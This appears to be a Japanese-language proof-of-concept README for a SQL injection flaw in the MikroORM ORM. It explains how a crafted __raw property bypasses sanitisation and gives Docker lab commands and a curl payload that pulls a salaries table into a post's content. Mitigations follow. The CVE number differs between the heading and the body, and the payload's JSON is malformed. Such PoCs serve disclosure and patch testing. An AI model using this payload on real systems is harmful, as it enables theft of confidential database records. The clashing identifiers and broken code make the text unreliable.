
CVE-2026-34220 — Updated!
MikroORMにおけるSQLインジェクション脆弱性
CVE-2026-43220 MikroORM SQLインジェクション
★ CVE-2026-43220 MikroORM SQLインジェクション PoC ★
https://github.com/user-attachments/assets/33724cfc-6151-47ff-9415-2f50c5124cd1
概要
CVE-2026-43220 は、広く使用されている TypeScript/Node.js の ORM フレームワークである MikroORM における SQLインジェクション 脆弱性です。
__rawプロパティを含むユーザー提供の値が検証なしに Custom Type カラム に渡されると、MikroORM のisRaw()チェックがそれを信頼された内部の Raw SQL 式と認識し、攻撃者が制御するsql値を型変換やサニタイズを行わずに生成されたクエリへ直接挿入するため、意図しない任意の SQL の実行 が発生します。
影響を受けるバージョン
| カテゴリ | バージョン |
|---|---|
| 脆弱 | MikroORM version ≤ 6.4.3 & 7.0.0 ≤ version ≤ 7.0.5 |
| 修正済み | MikroORM 6.4.4 & 7.0.6 |
影響
- データベースからの機密データの不正な持ち出し
- 既存のデータベースレコードの破損または意図しない改ざん
環境
docker build -t cve-2026-43220-mikroorm-vuln .
docker run --rm -it -p 3000:3000 --name mikroorm-vuln cve-2026-43220-mikroorm-vuln
PoC
脆弱な環境を起動した後、以下の手順に従って攻撃を再現します。
ステップ 1. __raw を含む悪意のあるペイロードを送信する
Custom Type カラムを対象とした __raw プロパティを含む JSON ボディを送信します。
curl -X POST http://localhost:3000/write \
-H "Content-Type: application/json" \
-d '{
"author":"x",
"title":"x,
"content": {
"__raw": true,
"sql": "(SELECT group_concat(name || ': ' || salary, ' / ') FROM salaries)"
}
}'
ステップ 2. HTTP レスポンスを確認する
API がエラーなしで成功レスポンスを返すことを確認します。 これは MikroORM が悪意のあるペイロードを有効な値として受け入れたことを示します。
ステップ 3. 機密データが投稿コンテンツに持ち出されていることを確認する
作成された投稿の content フィールドに、salaries テーブルからのクエリ結果
(例: Alice: 5000 / Bob: 7000 / ...) が含まれていることを確認します。
これは、無関係なテーブルのデータがエラーやアクセス制御違反なしに
レスポンスへサイレントに埋め込まれたことを裏付けます。
緩和策
- MikroORM 6.4.4 以降へアップグレードする。このバージョンでは
isRaw()にオリジン検証が導入され、外部から提供された__rawプロパティを拒否します - ホワイトリストベースの入力検証 を適用し、値を ORM レイヤーへ渡す前に
__rawのような予期しないプロパティを拒否する